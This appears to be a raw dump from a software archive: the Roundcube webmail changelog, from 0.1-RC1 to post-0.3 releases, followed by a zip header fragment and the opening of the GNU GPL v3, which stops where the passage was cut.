- Added 'html_editor' hook (#2353)
- Fix DB constraint violation when populating messages cache (#2338)
- Password: added password strength options (#2348)
- Fix LDAP partial result warning (#1928)
- Fix delete in message view deletes permanently with flag_for_deletion=true (#2382)
- Use faster/secure mt_rand() (#2376)
- Fix roundcube hangs on empty inbox with bincimapd (#2375)
- Fix wrong headers for IE on servers without $_SERVER['HTTPS'] (#2232)
- Force IE style headers for attachments in non-HTTPS session, 'use_https' option (#2023)
- Check 'post_max_size' for upload max filesize (#2372)
- Password Plugin: Fix %d inserts username instead of domain (#2371)
- Fix rcube_mdb2::affected_rows() (#2366)

## Release 0.3-stable

- Fix gn and givenName should be synonymous in LDAP addressbook (#2208)
- Add mail_domain to LDAP email entries without @ sign (#1652)
- Fix saving empty values in LDAP contact data (#2113)
- Fix LDAP contact update when RDN field is changed (#2119)
- Fix LDAP attributes case sensitivity problems (#2155)
- Fix LDAP addressbook browsing when only one directory is used (#2314)
- Fix endless loop on error response for APPEND command (#2346)
- Don't require date.timezone setting in installer (#2284)
- Fix date sorting problem with Courier IMAP server (#2351)
- Unselect pressed buttons on mouse up (#2283)
- Don't set php_value error_log in .htaccess but mention in INSTALL (#2230)
- Fix too small status/flag/attachment columns in Safari 4 (#2349)
- Fix selection disabling while dragging splitter in webkit browsers (#2342)
- Added 'new_messages' plugin hook (#2298)
- Added 'logout_after' plugin hook (#2333)
- Added 'message_compose' hook
- Added 'imap_connect' hook (#2256)
- Fix vcard_attachments plugin (#2326)
- Updated PEAR::Auth_SASL to 1.0.3 version
- Use sequence names only with PostgreSQL (#2310)
- Re-designed User Preferences interface
- Fix MS SQL DDL (#2312)
- Fix rcube_mdb2.php: call to setCharset not implemented in mssql driver (#2311)
- Added 'display_next' option
- Fix rcube_mdb2::unixtimestamp for MS SQL (#2308)
- Fix HTML washing to respect character encoding
- Fix endless loop in iil_C_Login() with Courier IMAP (#2303)
- Fix #messagemenu display on IE (#2299)
- Speedup UI by using sprites for (toolbar) buttons
- Fix charset names with X- prefix handling
- Fix displaying of HTML messages with unknown/malformed tags (#2296)

## Release 0.3-RC1

- Fix import of vCard entries with params (#1857)
- Fix HTML messages output with empty block elements (#2271)
- Use request tokens to protect POST requests from CSRF [CVE-2009-4076, CVE-2009-4077]
- Added hook when killing a session
- Added hook to write_log function (#2268)
- Performance improvements by use UID commands (#2046)
- Fix HTML editor tabIndex setting (#2269)
- Added 'imap_debug' and 'smtp_debug' options
- Support strftime's format modifiers in date_* options (#1354)
- Support %h variable in 'smtp_server' option (#2101)
- Show SMTP errors in browser (#2233)
- Allow WBR tag in HTML message (#2259)
- Use spl_autoload_register() instead of __autoload (#2250)
- Add hook for identities listing (#2257)
- Trigger hook 'smtp_connect' when opening an SMTP connection (#2255)
- Added config option to enforce HTTPS connections
- Fix non-unicode characters caching in unicode database (#1209)
- Performance improvements of messages caching
- Fix empty Date header issue (#2229)
- Open collapsed folders during drag & drop (#2221)
- Fixed link text replacements (#2120)
- Also trigger 'insertrow' events on page load (#2151)
- No link on subject in IE browsers (#1438)
- Fixed filename encoding according to RFC2231 (#2192)
- Added message Edit feature (#727, #1101)
- Fix message Etag generation for counter issues (#1996)
- Fix messages searching on MailEnable IMAP (#2097)
- Fixed many 'skip_deleted' issues (#2006)
- Fixed messages list sorting on servers without SORT capability
- Colorized signatures in plain text messages
- Reviewed/fixed skip_deleted/read_when_deleted/flag_for_deletion options handling in UI
- Fix displaying of big maximum upload filesize (#2205)
- Added possibility to invert messages selection
- After move/delete from 'show' action display next message instead of messages list (#2203)
- Fixed problem with double quote at the end of folder name (#2200)
- Speedup UI by using CSS sprites and etags/expires/deflate in Apache config (#1397,#2128)
- Support UID EXPUNGE: remove only moved/deleted messages
- Add drag cancelling with ESC key (#1036)
- Support initial identity name from virtuser_query (#807)
- Added message menu, removed Print and Source buttons
- Added possibility to save message as .eml file (#2178)
- Added 1 minute interval in autosave options (#2173)
- Support UTF-7 encoding in messages (#2156)
- Better support for malformed character names (#2093)

## Release 0.3-BETA

- Plugin API + jQuery engine
- Added possibility to encrypt received header, option 'http_received_header_encrypt',
  added some more logic in encrypt/decrypt functions for security
- Fix Answered/Forwarded flag setting for messages in subfolders
- Fix autocomplete problem with capital letters (#2122)
- Support UUencode content encoding (#2163)
- Minimize chance of race condition in session handling (#1260)
- Fix session handling on non-session SQL query error (#2078)
- Fix html editor mode setting when reopening draft message (#2158)
- Added quick search box menu (#1010)
- Fix wrong column sort order icons (#2149)
- Updated TinyMCE to 3.2.3 version
- Fix attachment names encoding when charset isn't specified in attachment part (#1483)
- Fix message normal priority problem (#2146)
- Fix autocomplete spinning wheel does not disappear (#2132)
- Added log_date_format option (#2060)
- Fix text wrapping in HTML editor after switching from plain text to HTML (#1917)
- Fix auto-complete function hangs with plus sign (#2141)
- Fix AJAX requests errors handler (#1503)
- Speed up message list displaying on IE
- Fix read/write database recognition (#2137)

## Release 0.2.2

- Fix quicksearchbox look in Chrome and Konqueror (#1380)
- Fix UTF-8 byte-order mark removing (#1911)
- Fix folders subscriptions on Konqueror (#1380)
- Fix debug console on Konqueror and Safari
- Fix messagelist focus issue when modifying status of selected messages (#2134)
- Support STARTTLS in IMAP connection (#1714)
- Fix DEL key problem in search boxes (#1923)
- Support several e-mail addresses per user from virtuser_file (#2036)
- Fix drag&drop with scrolling on IE (#2117)
- Fix adding signature separator in html mode (#1768)
- Fix opening attachment marks message as read (#2131)
- Fix 'temp_dir' does not support relative path under Windows (#1157)
- Fix "Initialize Database" button missing from installer (#2130)
- Fix compose window doesn't fit 1024x768 window (#1807)
- Fix service not available error when pressing back from compose dialog (#1942)
- Fix using mail() on Windows (#2111)
- Fix word wrapping in message-part's `<PRE>` tags in printing (#2118)
- Fix incorrect word wrapping in outgoing plaintext multibyte messages (#2062)
- Fix double footer in HTML message with embedded images
- Fix TNEF implementation bug (#2107)
- Fix incorrect row id parsing for LDAP contacts list (#2116)
- Fix 'mode' parameter in sqlite DSN (#2106)

## Release 0.2.1

- Use US-ASCII as failover when Unicode searching fails (#2097)
- Fix errors handling in IMAP command continuations (#2097)
- Fix FETCH result parsing for servers returning flags at the end of result (#2098)
- Fix datetime columns defaults in mysql's DDL (#2012)
- Fix attaching more than nine inline images (#2094)
- Support 'UNICODE-1-1-UTF-7' alias for UTF-7 encoding (#2093)
- Fix mime-type detection using a hard-coded map (#1735)
- Don't return empty string if charset conversion failed (#2092)
- Disable concurrent autocomplete query results display (#2082)
- Fix new lines stripped from message footer (#2088)
- Fix IE problem with mouse click autocomplete (#2080)
- Fix html body washing on reply/forward + fix attachments handling (#2034)
- Fix multiple recipients input parsing (#2077)
- Fix replying to message with html attachment (#2034)
- Use default_charset for messages without specified charset (#2027, #1484961)
- Support non-standard "GMT-XXXX" literal in date header (#2074)
- Added TNEF support to decode MS Outlook attachments (winmail.dat)
- Fix "value continuation" MIME headers by adding required semicolon (#2073)
- Fix pressing select all/unread multiple times (#2069)
- Fix selecting all unread does not honor new messages (#2070)
- Fix some base64 encoded attachments handling (#2071)
- Support NGINX as IMAP backend: better BAD response handling (#2066)
- Performance fix: don't fetch attachment parts headers twice to parse filename
- Fix checking for recent messages on various IMAP servers (#2055)
- Performance fix: Don't fetch quota and recent messages in "message view" mode
- Fix displaying of alternative-inside-alternative messages (#2061)
- Fix MDNSent flag checking, use arbitrary keywords (asterisk) flag (#2059)
- Fix creation of folders with '&' sign in name
- Fix parsing of email addresses without angle brackets (#2048)
- Save spellcheck corrections when switching from plain to html editor (and spellchecking is on)
- Fix large search results on server without SORT capability (#2031)
- Get rid of preg_replace() with eval modifier and create_function usage (#2042)
- Bring back `<base>` and `<link>` tags in HTML messages
- Fix XSS vulnerability through background attributes [CVE-2009-0413]
- Fix problems with backslash as IMAP hierarchy delimiter (#1116)
- Secure vcard export by getting rid of preg's 'e' modifier use (#2045)
- Fix authentication when submitting form with existing session (#2037)
- Allow absolute URLs to images in HTML messages/sigs (#2029)
- Fix message body which contains both inline attachments and emotions
- Fix SQL query execution errors handling in rcube_mdb2 class (#1907)
- Fix address names with '@' sign handling (#2022)
- Improve messages display performance
- Fix messages searching with 'to:' modifier

## Release 0.2-STABLE

- Fix mark popup in IE 7 (#1785)
- Fix line-break issue when copy & paste in Firefox (#1832)
- Fix autocomplete "unknown server error" (#2008)
- Fix STARTTLS before AUTH in SMTP connection (#1415)
- Support multiple quota values in QUOTAROOT response (#1999)
- Only abbreviate file name for IE < 7 browsers (#1548)
- Performance: allow setting imap root dir and delimiter before connect (#1628)
- Fix sorting of folders with more than 2 levels (#1953)
- Fix search results page jumps in LDAP addressbook (#1689)
- Fix empty line before the signature in IE (#1769)
- Fix horizontal scrollbar in preview pane on IE (#1228)
- Add Robots meta tag in login page and installer (#1385)
- Added 'show_images' option, removed 'addrbook_show_images' (#1977)
- Option to check for new mails in all folders (#1053)
- Don't set client busy when checking for new messages (#1706)
- Allow UTF-8 folder names in config (#1960)
- Add junk_mbox option configuration in installer (#1960)
- Do serverside addressbook queries for autocompletion (#1925)
- Allow setting attachment col position in 'list_cols' option
- Allow override 'list_cols' via skin (#1958)
- Fix 'cache' table cleanup on session destroy (#1913)
- Increase speed of session destroy and garbage clean up
- Fix session timeout when DB server got clock skew (#1890)
- Fix handling of some malformed messages (#1099)
- Speed up raw message body handling
- Better HTML entities conversion in html2text (#1916)
- Fix big memory consumption and speed up searching on servers without SORT capability
- Fix setting locale to tr_TR, ku and az_AZ (#1872)
- Use SORT for searching on servers with SORT capability
- Added message status filter
- Fix empty file sending (#1801)
- Improved searching with many criteria (calling one SEARCH command)
- Fix HTML editor initialization on IE (#1731)
- Add warning when switching editor mode from html to plain (#1888)
- Make identities list scrollable (#1930)
- Fix problem with numeric folder names (#1922)
- Added BYE response simple support to prevent from endless loops in imap.inc (#777)
- Fix unread message unintentionally marked as read if read_when_deleted=true (#1819)
- Remove port number from SERVER_NAME in smtp_helo_host (#1915)
- Don't send disposition notification receipts for messages marked as 'read' (#1918)
- Added 'keep_alive' and 'min_keep_alive' options (#1777)
- Added option 'identities_level', removed 'multiple_identities'
- Allow deleting identities when multiple_identities=false (#1840)
- Added option focus_on_new_message (#1789)
- Fix html2text class autoloading on Windows (#1904)
- Fix html signature formatting when identity save error occurred (#1833)
- Add feedback and set busy when moving folder (#1897)
- Fix 'Empty' link visibility for some languages e.g. Slovak (#1889)
- Fix messages count bar overlapping (#1703)
- Fix adding signature in drafts compose mode (#1884)
- Fix iil_C_Sort() to support very long and/or divided responses (#1713)
- Fix matching case sensitivity when setting identity on reply (#1881)
- Prefer default identity on reply
- Fix imap searching on ISMail server (#1870)
- Add css class for flagged messages (#1868)
- Write username instead of id in sendmail log (#1879)
- Fix htmlspecialchars() use for PHP version < 5.2.3 (#1877)
- Fix js keywords escaping in json_serialize() for IE/Opera (#1874)
- Added bin/killcache.php script (#1839)
- Add support for SJIS, GB2312, BIG5 in rc_detect_encoding()
- Fix vCard file encoding detection for non-UTF-8 strings (#1820)
- Add 'skip_deleted' option in User Preferences (#1850)
- Minimize "inline" javascript scripts use (#1838)
- Fix css class setting for folders with names matching defined classes names (#1772)
- Fix race conditions when changing mailbox
- Fix spellchecking when switching to html editor (#1779)
- Fix compose window width/height (#1807)
- Allow calling msgimport.sh/msgexport.sh from any directory (#1837)
- Localized filesize units (#1760)
- Better handling of "no identity" and "no email in identity" situations (#1592)
- Added 'mime_param_folding' option with possibility to choose long/non-ascii attachment names encoding e.g. to be readable in MS Outlook/OE (#1743)
- Added "advanced options" feature in User Preferences
- Fix unread counter when displaying cached massage in preview panel (#1720)
- Fix htmleditor spellchecking on MS Windows (#1808)
- Fix problem with non-ascii attachment names in Mail_mime (#1700, #1576)
- Fix language autodetection (#1812)
- Fix button label in folders management (#1816)
- Fix collapsed folder not indicating unread msgs count of all subfolders (#1814)
- Fix handling of apostrophes in filenames decoded according to rfc2231

## Release 0.2-BETA

- Made config files location configurable (#1664)
- Reduced memory footprint when forwarding attachments (#1764)
- Allow and use spellcheck attribute for input/textarea fields (#1545)
- Added icons for forwarded/forwarded+replied messages (#1691)
- Added Reply-To to forwarded emails (#1739)
- Display progress message for folders create/delete/rename (#1774)
- Smart Tags and NOBR tag support in html messages (#1780, #1748)
- Redesign of the identities settings (#836)
- Add config option to disable creation/deletion of identities (#1139)
- Added 'sendmail_delay' option to restrict messages sending interval (#1135)
- Added vertical splitter for folders list resizing
- Added possibility to view all headers in message view
- Fixed splitter drag/resize on Opera (#1626)
- Fixed quota img height/width setting from template (#1396)
- Refactor drag & drop functionality. Don't rely on browser events anymore (#1108)
- Insert "virtual" folders in subscription list (#1333)
- Added link to open message in new window
- Enable export of address book contacts as vCard
- Add feature to import contacts from vcard files (#395)
- Respect Content-Location headers in multipart/related messages according to RFC2110 (#1464)
- Allowed max. attachment size now indicated in compose screen (#1523)
- Also capture backspace key in list mode (#1186)
- Allow application/pgp parts to be displayed (#1309)
- Correctly handle options in mailto-links (#1671)
- Immediately save sort_col/sort_order in user prefs (#1698)
- Truncate very long (above 50 characters) attachment filenames when displaying
- Allow to auto-detect client language if none set (#1095)
- Auto-detect the client timezone (user configurable)
- Add RFC2231 header value continuations support for attachment filenames + hack for servers that not support that feature
- Fix Reply-To header displaying (#1738)
- Mark form buttons that provide the most obvious operation (mainaction)
- Added option 'quota_zero_as_unlimited' (#1206)
- Added PRE handling in html2text class (#1301)
- Added folder hierarchy collapsing
- Added options to use syslog instead of log file (#1389)
- Added Logging & Debugging section in Installer
- Fix In-Reply-To and References headers when composing saved draft message (#1718)
- Fix html message charset conversion for charsets with underline (#1717)
- Fix buttons status after contacts deletion (#1675)
- Fix escaping of To: and From: fields when building message body for reply or forward in the HTML editor (#1432)
- Use current mailbox name in template (#1690)
- Better fix for skipping untagged responses (#1694)
- Added pspell support patch by Kris Steinhoff (#781)
- Enable spellchecker for HTML editor (#1589)
- Respect spellcheck_uri in tinyMCE spellchecker (#941)
- Case insensitive contacts searching using PostgreSQL (#1692)
- Make default imap folders configurable for each user (#1558)
- Save outgoing mail to selectable folder (#1324581)
- Fix hiding of mark menu when clicking th button again (#1463)
- Use long date format in print mode (#1643)
- Updated TinyMCE to version 3.1.0.1
- Re-enable autocomplete attribute for login form (#1661)
- Check PERMANENTFLAGS before saving $MDNSent flag (#1478, #1485163)
- Added flag column on messages list (#1220)
- Patched Mail/MimePart.php (http://pear.php.net/bugs/bug.php?id=14232)
- Allow trash/junk subfolders to be purged (#1568)
- Store compose parameters in session and redirect to a unique URL
- Fixed CRAM-MD5 authentication (#1364)
- Fixed forwarding messages with one HTML attachment (#1103)
- Fixed encoding of message/rfc822 attachments and image/pjpeg handling (#1439)
- Added option to select skin in user preferences
- Added option to configure displaying of attached images below the message body
- Added option to display images in messages from known senders (#1204)
- User preferences grouped in more fieldsets
- Fix corrupted MIME headers of messages in Sent folder (#1587)
- Fixed bug in MDB2 package: http://pear.php.net/bugs/bug.php?id=14124
- Use keypress instead of keydown to select list's row (#1362)
- Don't call expunge and don't remove message row after message move if flag_for_deletion is set to true (#1505)

## Release 0.2-ALPHA

- Added option to disable autocompletion from selected LDAP address books (#1445)
- TLS support in LDAP connections: 'use_tls' property (#1581)
- Fixed removing messages from search set after deleting them (#1583)
- imap.inc: Fixed iil_C_FetchStructureString() to handle many
  literal strings in response (#1483)
- Support for subfolders in default/protected folders (#1250)
- Disallowed delimiter in folder name (#1351)
- Support " and \ in folder names
- Escape \ in login (#1214)
- Better HTML sanitization with the DOM-based washtml script (#1276)
- Fixed sorting of folders with non-ascii characters
- Fixed Mysql DDL for default identities creation (#1554)
- In Preferences added possibility to configure 'read_when_deleted',
  'mdn_requests', 'flag_for_deletion' options
- Made IMAP auth type configurable (#683)
- Fixed empty values with FROM_UNIXTIME() in rcube_mdb2 (#1540)
- Fixed attachment list on IE 6/7 (#1355)
- Fixed JavaScript in compose.html that shows cc/bcc fields if populated
- Make password input fields of type password in installer (#1417)
- Don't attempt to delete cache entries if enable_caching is FALSE (#1537)
- Optimized messages sorting on servers without sort capability (#1535)
- Corrected message headers decoding when charset isn't specified and improved
  support for native languages (#1536, #1534)
- Expanded LDAP configuration options to support LDAP server writes.
- Installer: encode special characters in DB username/password (#1529)
- Fixed management of folders with national characters in names (#1526, #1504)
- Fixed identities saving when using MDB2 pgsql driver (#1525)
- Fixed BCC header reset (#1501)
- Improved messages list performance - patch from Justin Heesemann
- Append skin_path to images location only when it starts with '/' sign (#1398)
- Fix IMAP response in message body when message has no body (#1479)
- Fixed non-RFC dates formatting (#1429)
- Fixed typo in set_charset() (#1498)
- Decode entities when inserting HTML signature to plain text message (#1497)
- HTML editing is now working with PHP5 updates and TinyMCE v3.0.6
- Fixed signature loading on Windows (#1169)
- Added language support to HTML editing (#1401)
- Fixed remove signature when replying (#446)
- Fixed problem with line with a space at the end (#1440)
- Fixed `<!DOCTYPE>` tag filtering (#1066)
- Fixed `<?xml>` tag filtering (#1075)
- Added sections (fieldset+label) in Settings interface
- Mark as read in one action with message preview (#1486)
- Deleted redundant quota reads (#1486)
- Added options for empty trash and expunge inbox on logout (#707)
- Removed lines wrapping when displaying message
- Fixed month localization
- Changed codebase to PHP5 with autoloader

## Release 0.1.1

- Clear selection when selecting single item (#1461)
- Remove hard-coded image size in skin templates (#1423)
- Database schema improvements (dropped unnecessary indexes)
- Fixed creating a new folder with a comma in its name (#1263)
- Fixed sorting of messages when default mailbox is empty (#1020)
- Improve message previewpane - less loading (#1019)
- Fixed login form autocompletion (#1378)
- Fixed virtuser_query option for mdb2 backend (#1409)
- Fixed attachment restoring from Drafts when message body was empty (#1144)
- Fixed usage of ob_gzhandler (#1390)
- Fixed message part window in IE6 (#1211)
- Fixed decoding of mime-encoded strings (#938)
- Fixed some iconv/mb_string problems (#1202)
- Correctly quote mailbox name when using in URL (#1016)
- Fixed "headers already sent" errors (#1399)

## Release 0.1-STABLE

- Added interactive installer script
- Fix folder adding/renaming inspired by #1349
- Localize folder name in page title (#1338)
- Fix code using wrong variable name (#818)
- Allow to send mail with BCC recipients only
- condense TinyMCE toolbar down to one line, removing table buttons (#1306)
- Add function to mark the selected messages as read/unread (#641)
- Also do charset decoding as suggested in RFC 2231 (fix #1022)
- Show message count in folder list and hint when creating a subfolder
- Distinguish ssl and tls for imap connections (#1252)
- Added some charset aliases to fix typical mis-labelling (#1185)
- Remember decision to display images for a certain message during session (#1310)
- Truncate attachment filenames to 55 characters due to an IE bug (#1313)
- Make sending of read receipts configurable
- Respect config when localize folder names (#1280)
- Also respect receipt and priority settings when re-opening a draft message
- Remember search results (closes #722), patch by the_glu
- Add Received header on outgoing mail
- Upgrade to TinyMCE 2.1.3
- Allow inserting image attachments into HTML messages while composing (#1179)
- Implement Message-Disposition-Notification (Receipts)
- Fix overriding of session vars when register_globals is on (#1255)
- Fix bug with case-sensitive folder names (#973)
- Don't create default folders by default
- Fixed some potential security risks (audited by Andris)
- Only show new messages if they match the current search (#925)
- Switch to/from when searching in Sent folder (#1177)
- Correctly read the References header (#1236)
- Unset old cookie before sending a new value (#1232)
- Correctly decode attachments when downloading them (#1235 and #1484642)
- Suppress IE errors when clearing attachments form (#1043)
- Log error when login fails due to auto_create_user turned off
- Filter linked/imported CSS files (closes #844)
- Improve message compose screen (closes #1060)
- Select next row after removing one from list (#1063)

## Release 0.1-RC2

- Enable drag-&-dropping of folders to a new parent and allow to create subfolders (#637)
- Suppress IE errors when clearing attachments form (#1043)
- Set preferences field in user table to NULL (#1062)
- Log error when login fails due to auto_create_user turned off
- Filter linked/imported CSS files (closes #844)
- Improve message compose screen (closes #1060)
- Select next row after removing one from list (#1063)
- Make smtp HELO/EHLO hostname configurable (#851)
- IPv6 Compatibility (#1023), Patch #1484373
- Unlock interface when message sending fails (#1188)
- Eval PHP code in template includes (if configured)
- Show message when folder is empty. Mo more static text in table (#1068)
- Only display unread count in page title when new messages arrived
- Fixed wrong delete button tooltip (#785)
- Fixed charset encoding bug (#1091)
- Applied patch for LDAP version (#1175)
- Improved XHTML validation
- Fix message list selection (#1174)
- Better fix lowercased usernames (#1120)
- Update pngbehavior Script as suggested in #1134
- Fixed moving/deleting messages when more than 1 is selected
- Applied patch for LDAP contacts listing by Glen Ogilvie
- Applied patch for more address fields in LDAP contacts (#1074)
- Add alternative for getallheaders() (fix #1146)
- Identify mailboxes case-sensitive
- Sort mailbox list case-insensitive (closes #1032)
- Fix display of multipart messages from Apple Mail (closes #823)
- Protect AJAX request from being fetched by a foreign site (XSS)
- Make autocomplete for loginform configurable by the skin template
- Fix compose function from address book (closes #1089)
- Added //IGNORE to iconv call (patch #1086, closes #821)
- Check if mbstring supports charset (#1003 and #1004)
- Prefer iconv over mbstring (as suggested in #1004)
- Check filesize of template includes (#1079)
- Fixed bug with buttons not dimming/enabling properly after switching folders
- Fixed compose window becoming unresponsive after saving a draft (#1132)
- Re-enabled "Back" button in compose window now that bug #1132 is fixed
- Fixed unresponsive interface issue when downloading attachments (#1138)
- Lowered status message time from 5 to 3 seconds to improve responsiveness
- Raised .htaccess upload_max_filesize from 2M to 5M to differ from default php.ini
- Increased "mailboxcontrols" mail.css width from 160 to 170px to fix non-english languages (#1140)
- Fix status message bug #1114 with regard to #1041
- Fix address adding bug reported by David Koblas
- Applied socket error patch by Thomas Mangin
- Pass-by-reference workaround for PHP5 in sendmail.inc
- Fixed buggy imap_root settings (closes #1056)
- Prevent default events on subject links (#1071)
- Use HTTP-POST requests for actions that change state

## Release 0.1-RC1

- Use global filters and bind username/ for Ldap searches (#909)
- Hide quota display if imap server does not support it
- Hide address groups if no LDAP servers configured
- Add link to message subjects (closes #982)
- Better SQL query for contact listing/search (closes #1051)
- Fixed marking as read in preview pane (closes #1048)
- CSS hack to display attachments correctly in IE6
- Wrap message body text (closes #901)
- LDAP access is back in address book (closes #864)
- Added search function for contacts
- New Template parsing and output encoding
- Fixed bugs #884 and #793
- Fixed message moving procedure (closes #1013)
- Fixed display of multiple attachments (closes #647)
- Fixed check for new messages (closes #1015)
- List attachments without filename
- New session authentication: Change sessid cookie when login, authentication with sessauth cookie is now configurable.
  Should close bugs #774 and #1484299
- Correctly translate mailbox names (closes #993)
- Quote e-mail address links (closes #1007)
- Updated PEAR::Mail_mime package
- Accept single quotes for HTML attributes when modifying message body (thanks Jason)
- Sanitize input for new users/identities (thanks Colin Alston)
- Don't download HTML message parts
- Convert HTML parts to plaintext if 'prefer_html' is off
- Correctly parse message/rfc822 parts (closes #838)
- Also use user_id for unique key in messages table (closes #857)
- Hide contacts drop down on blur (closes #946)
- Make entries in contacts drop down clickable
- Turn off browser autocompletion on login page
- Quote `<?` in text/html message parts
- Hide border around radio buttons
- Applied patch for attachment download by crichardson (closes #943)
- Fixed bug in Postgres DB handling (closes #852)
- Fixed bug of invalid calls to fetchRow() in rcube_db.inc (closes #996)
- Fixed array_merge bug (closes #997)
- Fixed flag for deletion in list view (closes #987)
- Finally support semicolons as recipient separator (closes ##976)
- Fixed message headers (subject) encoding
- check if safe mode is on or not (closes #990)
- Show "no subject" in message list if subject is missing (closes #971)
- Solved page caching of message preview (closes #905)
- Only use gzip compression if configured (closes #967)
- Fixed priority selector issue (#903)
- Fixed some CSS issues in default skin (closes #951 and #911)
- Prevent from double quoting of numeric HTML character references (closes #978)
- Fixed display of HTML message attachments (closes #927)
- Applied patch for preview caching (closes #933)
- Added error handling for attachment uploads
- Use multibyte safe string functions where necessary (closes #798)
- Applied security patch to validate the submitted host value (by Kees Cook)
- Applied security patch to validate input values when deleting contacts (by Kees Cook)
- Applied security patch that sanitizes emoticon paths when attaching them (by Kees Cook)
- Applied a patch to more aggressively sanitize a HTML message
- Visualize blocked images in HTML messages
- Fixed wrong message listing when showing search results (closes #890)
- Show remote images when opening HTML message part as attachment
- Improve memory usage when sending mail (closes #871)
- Mark messages as read once the preview is loaded (closes #1484132)
- Include smtp final response in log (closes #862)
- Corrected date string in sent message header (closes #887)
- Correctly choose "To" column in sent and draft mailboxes (closes #769)
- Changed tooltips for message browse buttons (closes #757)
- Fixed signature delimiter character to be standard (Bug #830)
- Fixed XSS vulnerability (Bug #877)
- Remove newlines from mail headers (Bug #827)
- Selection issues when moving/deleting (Bug #837)
- Applied patch of Clement Moulin for imap host auto-selection
- ISO-encode IMAP password for plaintext login (Bugs #792 & #723)
- Fixed folder name encoding in subscription list (Bug #879)
- Fixed JS errors in identity list (Bug #885)
- Translate foldernames in folder form (closes #879)
- Added first and last buttons to message list, address book
  and message detail
- Pressing Shift-Del bypasses Trash folder
- Enable purge command for Junk folder
- Fetch all aliases if virtuser_query is used instead
- Re-enabled multi select of contacts (Bug #817)
- Enable contact editing right after creation (Bug #644)
- Correct UTF-7 to UTF-8 conversion if mbstring is not available
- Fixed IMAP fetch of message body (Bug #819)
- Fixed safe_mode problems (Bug #539)
- Fixed wrong header encoding (Bug #1483976)
- Made automatic draft saving configurable
- Fixed JS bug when renaming folders (Bug #799)
- Added quota display as image (by Brett Patterson)
- Corrected creation of a message-id
- New indentation for quoted message text
- Improved HTML validity
- Fixed URL character set (Ticket #616)
- Fixed saving of contact into MySQL from LDAP query results (Ticket #681)
- Fixed folder renaming: unsubscribe before rename (Bug #750)
- Finalized new message parsing (+ caching)
- Fixed wrong usage of mbstring (Bug #645)
- Set default spelling language (Ticket #764)
- Added support for Nox Spell Server
- Re-built message parsing (Bug #422)
  Now based on the message structure delivered by the IMAP server.
- Fixed some XSS and SQL injection issues
- Fixed charset problems with folder renaming
PKh�\|�wfK�K�LICENSEnu�[���                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
